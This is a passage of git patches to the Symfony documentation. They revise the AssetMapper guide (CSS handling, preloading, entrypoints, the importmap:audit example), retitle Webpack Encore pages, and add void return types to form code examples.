-    +   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
-        <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-    {% endblock %}
+    // ...
 
-If you'd rather download the CSS file and include it locally, you can do that.
-For example, you could manually download, save it to ``assets/vendor/bootstrap.min.css``
-and then include it with:
+When you call ``importmap('app')`` in ``base.html.twig``, AssetMapper parses
+``assets/app.js`` (and any JavaScript files that *it* imports) looking for ``import``
+statements for CSS files. The final collection of CSS files is rendered onto
+the page as ``link`` tags in the order they were imported.
 
-.. code-block:: html+twig
+.. note::
 
-    <link rel="stylesheet" href="{{ asset('vendor/bootstrap.min.css') }}">
+    Importing a CSS file is *not* something that is natively supported by
+    JavaScript modules and normally causes an error. AssetMapper makes this
+    work by adding an importmap entry for each CSS file that is valid, but
+    does nothing. AssetMapper adds a ``link`` tag for each CSS file, but when
+    the JavaScript executes the ``import`` statement, nothing additional happens.
 
-Lazily Importing CSS from a JavaScript File
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _asset-mapper-3rd-party-css:
+
+Handling 3rd-Party CSS
+~~~~~~~~~~~~~~~~~~~~~~
 
-When using a bundler like :ref:`Encore <frontend-webpack-encore>`, you can
-import CSS from a JavaScript file:
+Sometimes a JavaScript package will contain one or more CSS files. For example,
+the ``bootstrap`` package has a `dist/css/bootstrap.min.css file`_.
+
+You can require CSS files in the same way as JavaScript files:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap/dist/css/bootstrap.min.css
+
+To include it on the page, import it from a JavaScript file:
 
 .. code-block:: javascript
 
-    // this CAN work (keep reading), but will be loaded lazily
-    import 'swiper/swiper-bundle.min.css';
+    // assets/app.js
+    import 'bootstrap/dist/css/bootstrap.min.css';
 
-This *can* work with importmaps, but it should *not* be used for critical CSS
-that needs to be loaded before the page is rendered because the browser
-won't download the CSS until the JavaScript file executed.
+    // ...
 
-However, if you *do* want to lazily-load a CSS file, you can make this work
-by using the ``importmap:require`` command and pointing it at a CSS file.
+.. tip::
 
-.. code-block:: terminal
+    Some packages - like ``bootstrap`` - advertise that they contain a CSS
+    file. In those cases, when you ``importmap:require bootstrap``, the
+    CSS file is also added to ``importmap.php`` for convenience.
+
+Paths Inside of CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+From inside CSS, you can reference other files using the normal CSS ``url()``
+function and a relative path to the target file:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+    .quack {
+        /* file lives at assets/images/duck.png */
+        background-image: url('../images/duck.png');
+    }
+
+The path in the final ``app.css`` file will automatically include the versioned URL
+for ``duck.png``:
+
+.. code-block:: css
+
+    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    .quack {
+        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+    }
+
+.. _asset-mapper-tailwind:
+
+Using Tailwind CSS
+~~~~~~~~~~~~~~~~~~
+
+To use the `Tailwind`_ CSS framework with the AssetMapper component, check out
+`symfonycasts/tailwind-bundle`_.
+
+.. _asset-mapper-sass:
+
+Using Sass
+~~~~~~~~~~
+
+To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_.
+
+Lazily Importing CSS from a JavaScript File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you have some CSS that you want to load lazily, you can do that via
+the normal, "dynamic" import syntax:
 
-    $ php bin/console importmap:require swiper/swiper-bundle.min.css
+.. code-block:: javascript
+
+    // assets/any-file.js
+    import('./lazy.css');
 
-This works because ``jsdelivr`` returns a URL to a JavaScript file that,
-when executed, adds the CSS to your page.
+    // ...
+
+In this case, ``lazy.css`` will be downloaded asynchronously and then added to
+the page. If you use a dynamic import to lazily-load a JavaScript file and that
+file imports a CSS file (using the non-dynamic ``import`` syntax), that CSS file
+will also be downloaded asynchronously.
 
 Issues and Debugging
 --------------------
@@ -609,75 +648,43 @@ validate the performance of your site!
 
 .. _performance-preloading:
 
-Performance: Add Preloading
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Performance: Understanding Preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.4
+
+    Automatic preloading of JavaScript files was introduced in Symfony 6.4.
 
-One common issue that LightHouse may report is:
+One issue that LightHouse may report is:
 
     Avoid Chaining Critical Requests
 
-Some items in this list are fine. But if this list is long or some items are
-multiple-levels deep, that *is* something you should fix with "preloading".
-To understand the problem, imagine that you have this setup:
+To understand the problem, imagine this theoretical setup:
 
 - ``assets/app.js`` imports ``./duck.js``
 - ``assets/duck.js`` imports ``bootstrap``
 
-When the browser downloads the page, this happens:
+Without preloading, when the browser downloads the page, the following would happen:
 
 1. The browser downloads ``assets/app.js``;
 2. It *then* sees the ``./duck.js`` import and downloads ``assets/duck.js``;
 3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``.
 
-Instead of downloading all 3 files in parallel, the browser is forced to
-download them one-by-one as it discovers them. This hurts performance. To fix
-this, in ``importmap.php``, add a ``preload`` key to the ``app`` entry, which
-points to the ``assets/app.js`` file. Actually, this should already be
-done for you::
-
-    // importmap.php
-    return [
-        'app' => [
-            'path' => 'app.js',
-            'preload' => true,
-        ],
-        // ...
-    ];
+Instead of downloading all 3 files in parallel, the browser would be forced to
+download them one-by-one as it discovers them. That would hurt performance.
 
-Thanks to this, the AssetMapper component will render a "preload" tag onto your page
-for ``assets/app.js`` *and* any other JavaScripts files that it imports using
-a relative path (i.e. starting with ``./`` or ``../``):
-
-.. code-block:: html
-
-    <link rel="preload" href="/assets/app.js" as="script">
-    <link rel="preload" href="/assets/duck.js" as="script">
-
-This tells the browser to start downloading both of these files immediately,
-even though it hasn't yet seen the ``import`` statement for ``assets/duck.js``
-
-You'll also want to preload ``bootstrap`` as well, which you can do in the
-same way::
-
-    // importmap.php
-    return [
-        // ...
-        'bootstrap' => [
-            'path' => '...',
-            'preload' => true,
-        ],
-    ];
+AssetMapper avoids this problem by outputting "preload" ``link`` tags.
+The logic works like this:
 
-.. note::
+**A) When you call ``importmap('app')`` in your template**, the AssetMapper component
+looks at the ``assets/app.js`` file and finds all of the JavaScript files
+that it imports or files that those files import, etc.
 
-    As described above, when you preload ``assets/app.js``, the AssetMapper component
-    find all of the JavaScript files that it imports using a **relative** path
-    and preloads those as well. However, it does not currently do this when
-    you import "packages" (e.g. ``bootstrap``). These packages will already
-    live in your ``importmap.php`` file, so their preload setting is handled
-    explicitly in that file.
+**B) It then outputs a ``link`` tag** for each of those files with a ``rel="preload"``
+attribute. This tells the browser to start downloading those files immediately,
+even though it hasn't yet seen the ``import`` statement for them.
 
-If the :doc:`WebLink Component </web_link>` is available in your application,
+Additionally, if the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
 .. versionadded:: 6.4
@@ -723,7 +730,7 @@ Google Lighthouse score.
 Does the AssetMapper Component work in All Browsers?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Yup! Features like importmaps and the ``import`` statement are supported
+Yes! Features like importmaps and the ``import`` statement are supported
 in all modern browsers, but the AssetMapper component ships with an `ES module shim`_
 to support ``importmap`` in old browsers. So, it works everywhere (see note
 below).
@@ -762,12 +769,16 @@ Can I Use with Sass or Tailwind?
 
 Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`.
 
-Can I use with TypeScript, JSX or Vue?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I use with TypeScript?
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sure! See :ref:`Using TypeScript <asset-mapper-ts>`.
 
-Probably not.
+Can I use with JSX or Vue?
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-TypeScript, by its very nature, requires a build step.
+Probably not. And if you're writing an application in React, Svelte or another
+frontend framework, you'll probably be better off using *their* tools directly.
 
 JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX,
 you'll probably want to use a tool like :ref:`Encore <frontend-webpack-encore>`.
@@ -780,20 +791,12 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
-.. _asset-mapper-tailwind:
-
-Using Tailwind CSS
-------------------
-
-To use the `Tailwind`_ CSS framework with the AssetMapper component, check out
-`symfonycasts/tailwind-bundle`_.
-
-.. _asset-mapper-sass:
+.. _asset-mapper-ts:
 
-Using Sass
-----------
+Using TypeScript
+----------------
 
-To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_.
+To use TypeScript with AssetMapper component, check out `sensiolabs/typescript-bundle`_.
 
 Third-Party Bundles & Custom Asset Paths
 ----------------------------------------
@@ -839,48 +842,19 @@ used instead of the original file.
 Importing Assets Outside of the ``assets/`` Directory
 -----------------------------------------------------
 
-You cannot currently import assets that live outside of your asset path
-(i.e. the ``assets/`` directory). For example, this won't work:
+You *can* import assets that live outside of your asset path
+(i.e. the ``assets/`` directory). For example:
 
 .. code-block:: css
 
     /* assets/styles/app.css */
 
-    /* you cannot reach above assets/ */
+    /* you can reach above assets/ */
     @import url('../../vendor/babdev/pagerfanta-bundle/Resources/public/css/pagerfanta.css');
-    /* using a logical path won't work either */
-    @import url('bundles/babdevpagerfanta/css/pagerfanta.css');
-
-This wouldn't work either:
-
-.. code-block:: javascript
-
-    // assets/app.js
-
-    // you cannot reach above assets/
-    import '../vendor/symfony/ux-live-component/assets/dist/live_controller.js';
-    // using a logical path won't work either (the "@symfony/ux-live-component" path is added by the LiveComponent library)
-    import '@symfony/ux-live-component/live_controller.js';
-    // importing like a JavaScript "package" won't work
-    import '@symfony/ux-live-component';
-
-For CSS files, you can solve this by adding a ``link`` tag to your template
-instead of using the ``@import`` statement.
-
-For JavaScript files, you can add an entry to your ``importmap`` file:
-
-.. code-block:: terminal
-
-    $ php bin/console importmap:require @symfony/ux-live-component --path=vendor/symfony/ux-live-component/assets/dist/live_controller.js
 
-Then you can ``import '@symfony/ux-live-component'`` like normal. The ``--path``
-option tells the command to point to a local file instead of a package.
-In this case, the ``@symfony/ux-live-component`` argument could be anything:
-whatever you use here will be the string that you can use in your ``import``.
+However, if you get an error like this:
 
-If you get an error like this:
-
-    The "some/package" importmap entry contains the path "vendor/some/package/assets/foo.js"
+    The "app" importmap entry contains the path "vendor/some/package/assets/foo.js"
     but it does not appear to be in any of your asset paths.
 
 It means that you're pointing to a valid file, but that file isn't in any of
@@ -1000,61 +974,66 @@ rendered by the ``{{ importmap() }}`` Twig function:
 Page-Specific CSS & JavaScript
 ------------------------------
 
+---> TODO HEre
+---> need to add the entrypoint in the importmap.php file
+----> and should NOT call parent() in the javascript block
+
 Sometimes you may choose to include CSS or JavaScript files only on certain
-pages. To add a CSS file to a specific page, create the file, then add a
-``link`` tag to it like normal:
+pages. For JavaScript, an easy way is to load the file with a `dynamic import`_:
 
-.. code-block:: html+twig
+.. code-block:: javascript
 
-    {# templates/products/checkout.html.twig #}
-    {% block stylesheets %}
-        {{ parent() }}
+    const someCondition = '...';
+    if (someCondition) {
+        import('./some-file.js');
 
-        <link rel="stylesheet" href="{{ asset('styles/checkout.css') }}">
-    {% endblock %}
+        // or use async/await
+        // const something = await import('./some-file.js');
+    }
 
-For JavaScript, first create the new file (e.g. ``assets/checkout.js``). Then,
-add a ``script`` tag that imports it:
+Another option is to create a separate :ref:`entrypoint <app-entrypoint>`. For
+example, create a ``checkout.js`` file that contains whatever JavaScript and
+CSS you need:
 
-.. code-block:: html+twig
+.. code-block:: javascript
 
-    {# templates/products/checkout.html.twig #}
-    {% block javascripts %}
-        {{ parent() }}
+    // assets/checkout.js
+    import './checkout.css';
 
-        <script type="module">
-            import '{{ asset('checkout.js') }}';
-        </script>
-    {% endblock %}
+    // ...
 
-This instructs your browser to download and execute the file.
+Next, add this to ``importmap.php`` and mark it as an entrypoint::
 
-In this setup, the normal ``app.js`` file will be executed first and *then*
-``checkout.js``. If, for some reason, you want to execute *only* ``checkout.js``
-and *not* ``app.js``, override the ``javascript`` block entirely and render
-``checkout.js`` through the ``importmap()`` function:
+    // importmap.php
+    return [
+        // the 'app' entrypoint ...
 
-.. code-block:: html+twig
+        'checkout' => [
+            'path' => './assets/checkout.js',
+            'entrypoint' => true,
+        ],
+    ];
+
+Finally, on the page that needs this JavaScript, call ``importmap()`` and pass
+both ``app`` and ``checkout``:
+
+.. code-block:: twig
 
     {# templates/products/checkout.html.twig #}
     {% block javascripts %}
-        <script type="module">
-            {{ importmap(asset('checkout.js')) }}
-        </script>
-    {% endblock %}
+        {# do NOT call parent() #}
 
-The important thing is that the ``importmap()`` function must be called exactly
-*one* time on each page. It outputs the ``importmap`` and also adds a
-``<script type="module">`` tag that loads the ``app.js`` file or whatever path
-you pass to ``importmap()``.
+        {{ importmap('app', 'checkout') }}
+    {% endblock %}
 
-.. note::
+By passing both ``app`` and ``checkout``, the ``importmap()`` function will
+output the ``importmap`` and also add a ``<script type="module">`` tag that
+loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
+to *not* call ``parent()`` in the ``javascripts`` block. Each page can only
+have *one* importmap, so ``importmap()`` must be called exactly once.
 
-    If you look at the source of your page, by default, the ``<script type="module">``
-    from ``importmap()`` will contain ``import 'app';`` - not something like
-    ``import /assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
-    because ``app`` appears in your ``importmap.php``, the browser will read ``app``
-    from the ``importmap`` on the page and ultimately load ``/assets/app-4e986c1a2318dd050b1d47.js``
+If, for some reason, you want to execute *only* ``checkout.js``
+and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
 
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
@@ -1092,21 +1071,15 @@ command that checks security vulnerabilities in the dependencies of your applica
     Severity  Title                                          Package    Version  Patched in  More info
     --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
     Medium    jQuery Cross Site Scripting vulnerability      jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-257q-pV89-V3xv
-    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-jpcq-cgw6-v4j6
-    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-gxr4-xjj5-5px2
-    Medium    XSS in jQuery as used in Drupal, etc.          jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-6c3j-c64m-qhgg
-    Medium    Prototype Pollution in jQuery                  jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-wV67-q8rr-grjp
     High      Prototype Pollution in JSON5 via Parse Method  json5      1.0.0    1.0.2       https://api.github.com/advisories/GHSA-9c47-m6qq-7p4h
     Medium    semver vulnerable to RegExp Denial of Service  semver     4.3.0    5.7.2       https://api.github.com/advisories/GHSA-c2qf-rxjj-qqgw
-    High      RegExp Denial of Service in sever              semver     4.3.0    4.3.2       https://api.github.com/advisories/GHSA-X6fg-f45m-jf5g
     Critical  Prototype Pollution in minimist                minimist   1.1.3    1.2.6       https://api.github.com/advisories/GHSA-xvch-5gv4-984h
-    Medium    Prototype Pollution in minimist                minimist   1.1.3    1.2.3       https://api.github.com/advisories/GHSA-vh95-rmgr-6w4m
     Medium    ESLint dependencies are vulnerable             minimist   1.1.3    1.2.2       https://api.github.com/advisories/GHSA-7fhm-mqm4-2wp7
     Medium    Bootstrap Vulnerable to Cross-Site Scripting   bootstrap  4.1.3    4.3.1       https://api.github.com/advisories/GHSA-9v3M-8fp8-mi99
     --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
 
     7 packages found: 7 audited / 0 skipped
-    12 vulnerabilities found: 1 Critical / 2 High / 9 Medium
+    6 vulnerabilities found: 1 Critical / 1 High / 4 Medium
 
 The command will return the ``0`` exit code if no vulnerability is found, or
 the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
@@ -1128,7 +1101,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap
 .. _bootstrap: https://www.npmjs.com/package/bootstrap
 .. _ES module shim: https://www.npmjs.com/package/es-module-shims
-.. _jsdelivr.com: https://www.jsdelivr.com/
 .. _highlight.js: https://www.npmjs.com/package/highlight.js
 .. _class syntax: https://caniuse.com/es6-class
 .. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
@@ -1141,3 +1113,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
 .. _symfonycasts/tailwind-bundle: https://symfony.com/bundles/TailwindBundle/current/index.html
 .. _symfonycasts/sass-bundle: https://symfony.com/bundles/SassBundle/current/index.html
+.. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle
+.. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
+.. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 95ba6086913..e9322f1cdbd 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -1,5 +1,5 @@
-Configuring Babel
-=================
+Configuring Babel with Encore
+=============================
 
 `Babel`_ is automatically configured for all ``.js`` and ``.jsx`` files via the
 ``babel-loader`` with sensible defaults (e.g. with the ``@babel/preset-env`` and
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index f5b3959eafd..d0fde12c283 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -1,5 +1,5 @@
-Using Bootstrap CSS & JS
-========================
+Using Bootstrap CSS & JS with Webpack Encore
+============================================
 
 This article explains how to install and integrate the `Bootstrap CSS framework`_
 in your Symfony application using :doc:`Webpack Encore </frontend>`.
diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index 267781da3d0..898923f11bd 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -1,5 +1,5 @@
-Using a CDN
-===========
+Using a CDN with Webpack Encore
+===============================
 
 Are you deploying to a CDN? That's awesome :) Once you've made sure that your
 built files are uploaded to the CDN, configure it in Encore:
diff --git a/frontend/encore/code-splitting.rst b/frontend/encore/code-splitting.rst
index 759987e5f0a..be1a30340f9 100644
--- a/frontend/encore/code-splitting.rst
+++ b/frontend/encore/code-splitting.rst
@@ -1,5 +1,5 @@
-Async Code Splitting
-====================
+Async Code Splitting with Webpack Encore
+========================================
 
 When you require/import a JavaScript or CSS module, Webpack compiles that code into
 the final JavaScript or CSS file. Usually, that's exactly what you want. But what
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 6981ec2f76a..33eb3467af8 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -1,5 +1,5 @@
-Copying & Referencing Images
-============================
+Copying & Referencing Images with Webpack Encore
+================================================
 
 Need to reference a static file - like the path to an image for an ``img`` tag?
 That can be tricky if you store your assets outside of the public document root.
diff --git a/frontend/encore/css-preprocessors.rst b/frontend/encore/css-preprocessors.rst
index 6b70e8f38cb..c56900462c3 100644
--- a/frontend/encore/css-preprocessors.rst
+++ b/frontend/encore/css-preprocessors.rst
@@ -1,5 +1,5 @@
-CSS Preprocessors: Sass, LESS, Stylus, etc.
-===========================================
+CSS Preprocessors: Sass, etc. with Webpack Encore
+=================================================
 
 To use the Sass, LESS or Stylus pre-processors, enable the one you want in ``webpack.config.js``:
 
diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 92699b0857a..6cde5b7ee22 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -1,5 +1,5 @@
-Adding Custom Loaders & Plugins
-===============================
+Adding Custom Loaders & Plugins with Webpack Encore
+===================================================
 
 Adding Custom Loaders
 ---------------------
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 60dc7cc9e9d..2bdfd4111a1 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -1,5 +1,5 @@
-FAQ and Common Issues
-=====================
+WebpackEncore: FAQ and Common Issues
+====================================
 
 .. _how-do-i-deploy-my-encore-assets:
 
diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst
new file mode 100644
index 00000000000..8e1ecb9973d
--- /dev/null
+++ b/frontend/encore/index.rst
@@ -0,0 +1,54 @@
+.. _encore-toc:
+
+Webpack Encore Documentation
+----------------------------
+
+Getting Started
+...............
+
+* :doc:`Installation </frontend/encore/installation>`
+* :doc:`Using Webpack Encore </frontend/encore/simple-example>`
+
+Adding more Features
+....................
+
+* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>`
+* :doc:`PostCSS and autoprefixing </frontend/encore/postcss>`
+* :doc:`Enabling React.js </frontend/encore/reactjs>`
+* :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>`
+* :doc:`/frontend/encore/copy-files`
+* :doc:`Configuring Babel </frontend/encore/babel>`
+* :doc:`Source maps </frontend/encore/sourcemaps>`
+* :doc:`Enabling TypeScript (ts-loader) </frontend/encore/typescript>`
+
+Optimizing
+..........
+
+* :doc:`Versioning (and the entrypoints.json/manifest.json files) </frontend/encore/versioning>`
+* :doc:`Using a CDN </frontend/encore/cdn>`
+* :doc:`/frontend/encore/code-splitting`
+* :doc:`/frontend/encore/split-chunks`
+* :doc:`/frontend/encore/url-loader`
+
+Guides
+......
+
+* :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
+* :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
+* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
+* :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
+* :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
+* :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
+* :doc:`Using Encore in a Virtual Machine </frontend/encore/virtual-machine>`
+
+Issues & Questions
+..................
+
+* :doc:`FAQ & Common Issues </frontend/encore/faq>`
+
+Full API
+........
+
+* `Full API`_
+
+.. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js
diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 8bad142104c..20523c5f459 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -1,5 +1,5 @@
-jQuery Plugins and Legacy Applications
-======================================
+jQuery Plugins and Legacy Applications with Webpack Encore
+==========================================================
 
 Inside Webpack, when you require a module, it does *not* (usually) set a global variable.
 Instead, it just returns a value:
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 40b2dc43923..3b31c5e1628 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -1,5 +1,5 @@
-PostCSS and autoprefixing (postcss-loader)
-==========================================
+PostCSS and autoprefixing (postcss-loader) with Webpack Encore
+==============================================================
 
 `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot
 of cool ways, like `autoprefixing`_, `linting`_ and more!
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index facd7cdcbb6..ca070f543df 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -1,5 +1,5 @@
-Enabling React.js
-=================
+Enabling React.js with Webpack Encore
+=====================================
 
 .. admonition:: Screencast
     :class: screencast
@@ -9,7 +9,7 @@ Enabling React.js
 .. tip::
 
     Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
-    
+
 Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 439aa6f98f6..46492700923 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -1,5 +1,5 @@
-Passing Information from Twig to JavaScript
-===========================================
+Passing Information from Twig to JavaScript with Webpack Encore
+===============================================================
 
 In Symfony applications, you may find that you need to pass some dynamic data
 (e.g. user information) from Twig to your JavaScript code. One great way to pass
diff --git a/frontend/encore/sourcemaps.rst b/frontend/encore/sourcemaps.rst
index 62d4c6a351b..f07f32f3389 100644
--- a/frontend/encore/sourcemaps.rst
+++ b/frontend/encore/sourcemaps.rst
@@ -1,5 +1,5 @@
-Enabling Source Maps
-====================
+Enabling Source Maps with Webpack Encore
+========================================
 
 `Source maps`_ allow browsers to access the original code related to some
 asset (e.g. the Sass code that was compiled to CSS or the TypeScript code that
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 7739b0a49c6..295e0f4eb4c 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -1,4 +1,4 @@
-Preventing Duplication by "Splitting" Shared Code into Separate Files
+Preventing Duplication by "Splitting" Shared Code with Webpack Encore
 =====================================================================
 
 Suppose you have multiple entry files and *each* requires ``jquery``. In this
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index 103f1f0b293..c9cd7487d39 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -1,5 +1,5 @@
-Enabling TypeScript (ts-loader)
-===============================
+Enabling TypeScript (ts-loader) with Webpack Encore
+===================================================
 
 Want to use `TypeScript`_? No problem! First, enable it:
 
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 5e89234f295..f63fa01cc8d 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,5 +1,5 @@
-Inlining Images & Fonts in CSS
-==============================
+Inlining Images & Fonts in CSS with Webpack Encore
+==================================================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 6fe8a8275cd..5b848c17b04 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -1,5 +1,5 @@
-Asset Versioning
-================
+Asset Versioning with Webpack Encore
+====================================
 
 .. _encore-long-term-caching:
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index ca39808483e..113c5008e46 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -1,5 +1,5 @@
-Enabling Vue.js (``vue-loader``)
-================================
+Enabling Vue.js (``vue-loader``) with Webpack Encore
+====================================================
 
 .. admonition:: Screencast
     :class: screencast
@@ -9,7 +9,7 @@ Enabling Vue.js (``vue-loader``)
 .. tip::
 
     Check out live demos of Symfony UX Vue.js component at `https://ux.symfony.com/vue`_!
-    
+
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff

From 1f07b4fcdf5de2025d31f4814a71bc8157ae3293 Mon Sep 17 00:00:00 2001
From: Bredillet Thomas <thoma39@msn.com>
Date: Wed, 29 Nov 2023 16:48:15 +0100
Subject: [PATCH 5445/7107] Fix deprecations return void

---
 reference/forms/types/options/choice_filter.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index 235e1d84ed9..66d06b19bbd 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -18,7 +18,7 @@ define a callable that takes each choice as the only argument and must return
 
     class AddressType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver
                 ->setDefaults([
@@ -28,7 +28,7 @@ define a callable that takes each choice as the only argument and must return
             ;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $allowedCountries = $options['allowed_countries'];
 

From b0f80415d3cb72dc240db446ccfa762ae88502c0 Mon Sep 17 00:00:00 2001
From: Bredillet Thomas <thoma39@msn.com>
Date: Wed, 29 Nov 2023 16:44:22 +0000
Subject: [PATCH 5446/7107] Fix return type deprecations

---
 reference/forms/types/options/choice_filter.rst.inc     | 2 +-
 reference/forms/types/options/choice_loader.rst.inc     | 2 +-
 reference/forms/types/options/error_mapping.rst.inc     | 2 +-
 reference/forms/types/options/validation_groups.rst.inc | 6 +++---
 4 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index 235e1d84ed9..476290f9f69 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -18,7 +18,7 @@ define a callable that takes each choice as the only argument and must return
 
     class AddressType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver
                 ->setDefaults([
diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 502ddb125c7..553c9694b14 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -57,7 +57,7 @@ better performance::
             return ChoiceType::class;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
